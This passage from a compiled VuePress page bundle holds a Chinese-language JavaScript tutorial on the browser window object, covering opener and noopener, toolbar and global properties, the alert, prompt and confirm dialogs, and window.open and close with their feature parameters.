"),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// true")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面表达式会打开一个新窗口，然后返回"),s("code",[t._v("true")]),t._v("。")]),t._v(" "),s("p",[t._v("如果两个窗口之间不需要通信，建议将子窗口的"),s("code",[t._v("opener")]),t._v("属性显式设为"),s("code",[t._v("null")]),t._v("，这样可以减少一些安全隐患。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" newWin "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("上面代码中，子窗口的"),s("code",[t._v("opener")]),t._v("属性设为"),s("code",[t._v("null")]),t._v("，两个窗口之间就没办法再联系了。")]),t._v(" "),s("p",[s("strong",[t._v("通过"),s("code",[t._v("opener")]),t._v("属性，可以获得父窗口的全局属性和方法，但只限于两个窗口同源的情况（参见《同源限制》一章），且其中一个窗口由另一个打开")]),t._v("。"),s("code",[t._v("<a>")]),t._v("元素添加"),s("code",[t._v('rel="noopener"')]),t._v("属性，可以防止新打开的窗口获取父窗口，减轻被恶意网站修改父窗口 URL 的风险。")]),t._v(" "),s("div",{staticClass:"language-html line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-html"}},[s("code",[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token tag"}},[s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("<")]),t._v("a")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token attr-name"}},[t._v("href")]),s("span",{pre:!0,attrs:{class:"token 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"),s("p",[t._v("组件属性"),s("strong",[t._v("返回浏览器的组件对象")]),t._v("。这样的属性有下面几个。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("window.locationbar")]),t._v("：地址栏对象")]),t._v(" "),s("li",[s("code",[t._v("window.menubar")]),t._v("：菜单栏对象")]),t._v(" "),s("li",[s("code",[t._v("window.scrollbars")]),t._v("：窗口的滚动条对象")]),t._v(" "),s("li",[s("code",[t._v("window.toolbar")]),t._v("：工具栏对象")]),t._v(" "),s("li",[s("code",[t._v("window.statusbar")]),t._v("：状态栏对象")]),t._v(" "),s("li",[s("code",[t._v("window.personalbar")]),t._v("：用户安装的个人工具栏对象")])]),t._v(" "),s("p",[t._v("这些对象的"),s("code",[t._v("visible")]),t._v("属性是一个布尔值，表示"),s("strong",[t._v("这些组件是否可见")]),t._v("。这些属性"),s("strong",[t._v("只读")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("locationbar"),s("span",{pre:!0,attrs:{class:"token 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"),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("h4",{attrs:{id:"_2-11-全局对象属性"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-11-全局对象属性"}},[t._v("#")]),t._v(" 2.11 全局对象属性")]),t._v(" "),s("p",[t._v("全局对象属性指向一些浏览器原生的全局对象。")]),t._v(" "),s("ul",[s("li",[s("code",[t._v("window.document")]),t._v("：指向"),s("code",[t._v("document")]),t._v("对象，详见《document 对象》一章。注意，这个属性有同源限制。只有来自同源的脚本才能读取这个属性。"),s("strong",[t._v("【文档对象】")])]),t._v(" "),s("li",[s("code",[t._v("window.location")]),t._v("：指向"),s("code",[t._v("Location")]),t._v("对象，用于获取当前窗口的 URL 信息。它等同于"),s("code",[t._v("document.location")]),t._v("属性，详见《Location 对象》一章。"),s("strong",[t._v("【URL信息对象】")])]),t._v(" "),s("li",[s("code",[t._v("window.navigator")]),t._v("：指向"),s("code",[t._v("Navigator")]),t._v("对象，用于"),s("strong",[t._v("获取环境信息")]),t._v("，详见《Navigator 对象》一章。")]),t._v(" "),s("li",[s("code",[t._v("window.history")]),t._v("：指向"),s("code",[t._v("History")]),t._v("对象，表示浏览器的"),s("strong",[t._v("浏览历史")]),t._v("，详见《History 对象》一章。")]),t._v(" "),s("li",[s("code",[t._v("window.localStorage")]),t._v("：指向"),s("strong",[t._v("本地储存的 localStorage 数据")]),t._v("，详见《Storage 接口》一章。")]),t._v(" "),s("li",[s("code",[t._v("window.sessionStorage")]),t._v("：指向"),s("strong",[t._v("本地储存的 sessionStorage 数据")]),t._v("，详见《Storage 接口》一章。")]),t._v(" "),s("li",[s("code",[t._v("window.console")]),t._v("：指向"),s("code",[t._v("console")]),t._v("对象，用于"),s("strong",[t._v("操作控制台")]),t._v("，详见《console 对象》一章。")]),t._v(" "),s("li",[s("code",[t._v("window.screen")]),t._v("：指向"),s("code",[t._v("Screen")]),t._v("对象，表示"),s("strong",[t._v("屏幕信息")]),t._v("，详见《Screen 对象》一章。")])]),t._v(" "),s("h4",{attrs:{id:"_2-12-window-issecurecontext-是否在加密环境-https协议为true"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_2-12-window-issecurecontext-是否在加密环境-https协议为true"}},[t._v("#")]),t._v(" 2.12 window.isSecureContext 是否在加密环境，https协议为true")]),t._v(" "),s("p",[s("code",[t._v("window.isSecureContext")]),t._v("属性返回一个布尔值，表示当前窗口是否处在加密环境。如果是 HTTPS 协议，就是"),s("code",[t._v("true")]),t._v("，否则就是"),s("code",[t._v("false")]),t._v("。")]),t._v(" "),s("h3",{attrs:{id:"_3、window-对象的方法"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3、window-对象的方法"}},[t._v("#")]),t._v(" 3、window 对象的方法")]),t._v(" "),s("h4",{attrs:{id:"_3-1-window-alert-window-prompt-window-confirm"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-1-window-alert-window-prompt-window-confirm"}},[t._v("#")]),t._v(" 3.1 window.alert()，window.prompt()，window.confirm()")]),t._v(" "),s("p",[s("code",[t._v("window.alert()")]),t._v("、"),s("code",[t._v("window.prompt()")]),t._v("、"),s("code",[t._v("window.confirm()")]),t._v("都是浏览器与用户互动的全局方法。它们会弹出不同的对话框，要求用户做出回应。注意，这三个方法弹出的对话框，都是浏览器统一规定的式样，无法定制。")]),t._v(" "),s("p",[t._v("**（1）window.alert()   对话框 **")]),t._v(" "),s("p",[s("code",[t._v("window.alert()")]),t._v("方法"),s("strong",[t._v("弹出的对话框，只有一个“确定”按钮")]),t._v("，往往用来通知用户某些信息。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("alert")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'Hello World'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("用户只有点击“确定”按钮，对话框才会消失。对话框弹出期间，浏览器窗口处于冻结状态，如果不点“确定”按钮，用户什么也干不了。")]),t._v(" "),s("p",[s("code",[t._v("window.alert()")]),t._v("方法的参数只能是字符串，没法使用 CSS 样式，但是可以用"),s("code",[t._v("\\n")]),t._v("指定换行。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token function"}},[t._v("alert")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'本条提示\\n分成两行'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[s("strong",[t._v("（2）window.prompt() 对话框，返回输入值")])]),t._v(" "),s("p",[s("code",[t._v("window.prompt()")]),t._v("方法"),s("strong",[t._v("弹出的对话框，提示文字的下方，还有一个输入框，要求用户输入信息，并有“确定”和“取消”两个按钮。它往往用来获取用户输入的数据")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" result "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("prompt")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'您的年龄？'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token number"}},[t._v("25")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 弹窗对话输入框，包含提示文字，和默认已输入的文字'25',确定后返回给result")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面代码会跳出一个对话框，文字提示为“您的年龄？”，要求用户在对话框中输入自己的年龄（默认显示25）。用户填入的值，会作为返回值存入变量"),s("code",[t._v("result")]),t._v("。")]),t._v(" "),s("p",[s("code",[t._v("window.prompt()")]),t._v("的返回值有两种情况，可能是字符串（有可能是空字符串），也有可能是"),s("code",[t._v("null")]),t._v("。具体分成三种情况。")]),t._v(" "),s("ol",[s("li",[t._v("用户输入信息，并点击“确定”，则用户输入的信息就是返回值。")]),t._v(" "),s("li",[t._v("用户没有输入信息，直接点击“确定”，则输入框的默认值就是返回值。")]),t._v(" "),s("li",[t._v("用户点击了“取消”（或者按了 ESC 按钮），则返回值是"),s("code",[t._v("null")]),t._v("。")])]),t._v(" "),s("p",[s("code",[t._v("window.prompt()")]),t._v("方法的第二个参数是可选的，但是最好总是提供第二个参数，作为输入框的默认值。")]),t._v(" "),s("p",[t._v("**（3）window.confirm() 对话框，返回布尔值 **")]),t._v(" "),s("p",[s("code",[t._v("window.confirm()")]),t._v("方法弹出的对话框，除了提示信息之外，只有“确定”和“取消”两个按钮，往往用来征询用户是否同意。")]),t._v(" "),s("div",{staticClass:"language-js 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用户按下“确定”")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("else")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 用户按下“取消”")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br"),s("span",{staticClass:"line-number"},[t._v("6")]),s("br")])]),s("p",[s("code",[t._v("confirm")]),t._v("的一个用途是，用户离开当前页面时，弹出一个对话框，问用户是否真的要离开。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function-variable function"}},[t._v("onunload")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("function")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("return")]),t._v(" window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("confirm")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'你确定要离开当面页面吗？'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("这三个方法都具有堵塞效应，一旦弹出对话框，整个页面就是暂停执行，等待用户做出反应。")]),t._v(" "),s("h4",{attrs:{id:"_3-2-window-open-window-close-window-stop"}},[s("a",{staticClass:"header-anchor",attrs:{href:"#_3-2-window-open-window-close-window-stop"}},[t._v("#")]),t._v(" 3.2 window.open(), window.close()，window.stop()")]),t._v(" "),s("p",[s("strong",[t._v("（1）window.open() 打开一个新窗口")])]),t._v(" "),s("p",[s("code",[t._v("window.open")]),t._v("方法用于"),s("strong",[t._v("新建另一个浏览器窗口")]),t._v("，类似于浏览器菜单的新建窗口选项。它会返回新窗口的引用，如果无法新建窗口，则返回"),s("code",[t._v("null")]),t._v("。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" popup "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'somefile.html'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("上面代码会让浏览器弹出一个新建窗口，网址是当前域名下的"),s("code",[t._v("somefile.html")]),t._v("。")]),t._v(" "),s("p",[s("code",[t._v("open")]),t._v("方法一共可以接受三个参数。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("url"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" windowName"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("[")]),t._v("windowFeatures"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("]")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("ul",[s("li",[s("code",[t._v("url")]),t._v("：字符串，表示新窗口的网址。如果省略，默认网址就是"),s("code",[t._v("about:blank")]),t._v("。")]),t._v(" "),s("li",[s("code",[t._v("windowName")]),t._v("：字符串，表示新窗口的名字。如果该名字的窗口已经存在，则占用该窗口，不再新建窗口。如果省略，就默认使用"),s("code",[t._v("_blank")]),t._v("，表示新建一个没有名字的窗口。另外还有几个预设值，"),s("code",[t._v("_self")]),t._v("表示当前窗口，"),s("code",[t._v("_top")]),t._v("表示顶层窗口，"),s("code",[t._v("_parent")]),t._v("表示上一层窗口。")]),t._v(" "),s("li",[s("code",[t._v("windowFeatures")]),t._v("：字符串，内容为逗号分隔的键值对（详见下文），表示新窗口的参数，比如有没有提示栏、工具条等等。如果省略，则默认打开一个完整 UI 的新窗口。如果新建的是一个已经存在的窗口，则该参数不起作用，浏览器沿用以前窗口的参数。")])]),t._v(" "),s("p",[t._v("下面是一个例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" popup "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'somepage.html'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'DefinitionsWindows'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br"),s("span",{staticClass:"line-number"},[t._v("5")]),s("br")])]),s("p",[t._v("上面代码表示，打开的新窗口高度和宽度都为200像素，没有地址栏，但有状态栏和滚动条，允许用户调整大小。")]),t._v(" "),s("p",[t._v("第三个参数可以设定如下属性。")]),t._v(" "),s("ul",[s("li",[t._v("left：新窗口距离屏幕最左边的距离（单位像素）。注意，新窗口必须是可见的，不能设置在屏幕以外的位置。")]),t._v(" "),s("li",[t._v("top：新窗口距离屏幕最顶部的距离（单位像素）。")]),t._v(" "),s("li",[t._v("height：新窗口内容区域的高度（单位像素），不得小于100。")]),t._v(" "),s("li",[t._v("width：新窗口内容区域的宽度（单位像素），不得小于100。")]),t._v(" "),s("li",[t._v("outerHeight：整个浏览器窗口的高度（单位像素），不得小于100。")]),t._v(" "),s("li",[t._v("outerWidth：整个浏览器窗口的宽度（单位像素），不得小于100。")]),t._v(" "),s("li",[t._v("menubar：是否显示菜单栏。")]),t._v(" "),s("li",[t._v("toolbar：是否显示工具栏。")]),t._v(" "),s("li",[t._v("location：是否显示地址栏。")]),t._v(" "),s("li",[t._v("personalbar：是否显示用户自己安装的工具栏。")]),t._v(" "),s("li",[t._v("status：是否显示状态栏。")]),t._v(" "),s("li",[t._v("dependent：是否依赖父窗口。如果依赖，那么父窗口最小化，该窗口也最小化；父窗口关闭，该窗口也关闭。")]),t._v(" "),s("li",[t._v("minimizable：是否有最小化按钮，前提是"),s("code",[t._v("dialog=yes")]),t._v("。")]),t._v(" "),s("li",[t._v("noopener：新窗口将与父窗口切断联系，即新窗口的"),s("code",[t._v("window.opener")]),t._v("属性返回"),s("code",[t._v("null")]),t._v("，父窗口的"),s("code",[t._v("window.open()")]),t._v("方法也返回"),s("code",[t._v("null")]),t._v("。")]),t._v(" "),s("li",[t._v("resizable：新窗口是否可以调节大小。")]),t._v(" "),s("li",[t._v("scrollbars：是否允许新窗口出现滚动条。")]),t._v(" "),s("li",[t._v("dialog：新窗口标题栏是否出现最大化、最小化、恢复原始大小的控件。")]),t._v(" "),s("li",[t._v("titlebar：新窗口是否显示标题栏。")]),t._v(" "),s("li",[t._v("alwaysRaised：是否显示在所有窗口的顶部。")]),t._v(" "),s("li",[t._v("alwaysLowered：是否显示在父窗口的底下。")]),t._v(" "),s("li",[t._v("close：新窗口是否显示关闭按钮。")])]),t._v(" "),s("p",[t._v("对于那些可以打开和关闭的属性，设为"),s("code",[t._v("yes")]),t._v("或"),s("code",[t._v("1")]),t._v("或不设任何值就表示打开，比如"),s("code",[t._v("status=yes")]),t._v("、"),s("code",[t._v("status=1")]),t._v("、"),s("code",[t._v("status")]),t._v("都会得到同样的结果。如果想设为关闭，不用写"),s("code",[t._v("no")]),t._v("，而是直接省略这个属性即可。也就是说，如果在第三个参数中设置了一部分属性，其他没有被设置的"),s("code",[t._v("yes/no")]),t._v("属性都会被设成"),s("code",[t._v("no")]),t._v("，只有"),s("code",[t._v("titlebar")]),t._v("和关闭按钮除外（它们的值默认为"),s("code",[t._v("yes")]),t._v("）。")]),t._v(" "),s("p",[t._v("上面这些属性，属性名与属性值之间用等号连接，属性与属性之间用逗号分隔。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("另外，"),s("code",[t._v("open()")]),t._v("方法的第二个参数虽然可以指定已经存在的窗口，但是不等于可以任意控制其他窗口。为了防止被不相干的窗口控制，浏览器只有在两个窗口同源，或者目标窗口被当前网页打开的情况下，才允许"),s("code",[t._v("open")]),t._v("方法指向该窗口。")]),t._v(" "),s("p",[s("code",[t._v("window.open")]),t._v("方法返回新窗口的引用。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" windowB "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'windowB.html'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(",")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'WindowB'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nwindowB"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("name "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v('// "WindowB"')]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br")])]),s("p",[t._v("注意，如果新窗口和父窗口不是同源的（即不在同一个域），它们彼此不能获取对方窗口对象的内部属性。")]),t._v(" "),s("p",[t._v("下面是另一个例子。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" w "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nconsole"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("log")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'已经打开新窗口'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\nw"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),t._v("location "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token string"}},[t._v("'http://example.com'")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br")])]),s("p",[t._v("上面代码先打开一个新窗口，然后在该窗口弹出一个对话框，再将网址导向"),s("code",[t._v("example.com")]),t._v("。")]),t._v(" "),s("p",[t._v("由于"),s("code",[t._v("open")]),t._v("这个方法很容易被滥用，许多浏览器默认都不允许脚本自动新建窗口。只允许在用户点击链接或按钮时，脚本做出反应，弹出新窗口。因此，有必要检查一下打开新窗口是否成功。")]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("var")]),t._v(" popup "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("=")]),t._v(" window"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("open")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(";")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("if")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),t._v("popup "),s("span",{pre:!0,attrs:{class:"token operator"}},[t._v("===")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token keyword"}},[t._v("null")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v(" "),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("{")]),t._v("\n  "),s("span",{pre:!0,attrs:{class:"token comment"}},[t._v("// 新建窗口失败")]),t._v("\n"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("}")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br"),s("span",{staticClass:"line-number"},[t._v("2")]),s("br"),s("span",{staticClass:"line-number"},[t._v("3")]),s("br"),s("span",{staticClass:"line-number"},[t._v("4")]),s("br")])]),s("p",[s("strong",[t._v("（2）window.close()关闭当前窗口")])]),t._v(" "),s("p",[s("code",[t._v("window.close")]),t._v("方法用于"),s("strong",[t._v("关闭当前窗口")]),t._v("，"),s("strong",[t._v("一般只用来关闭"),s("code",[t._v("window.open")]),t._v("方法新建的窗口。")])]),t._v(" "),s("div",{staticClass:"language-js line-numbers-mode"},[s("pre",{pre:!0,attrs:{class:"language-js"}},[s("code",[t._v("popup"),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(".")]),s("span",{pre:!0,attrs:{class:"token function"}},[t._v("close")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v("(")]),s("span",{pre:!0,attrs:{class:"token punctuation"}},[t._v(")")]),t._v("\n")])]),t._v(" "),s("div",{staticClass:"line-numbers-wrapper"},[s("span",{staticClass:"line-number"},[t._v("1")]),s("br")])]),s("p",[t._v("该方法只对顶层窗口有效，"),s("code",[t._v("iframe")]),t._v("框架之中的窗口使用该方法无效。")]),t._v(" "),s("p",[s("strong",[t._v("（3）window.stop() 停止加载网页")])]),t._v(" 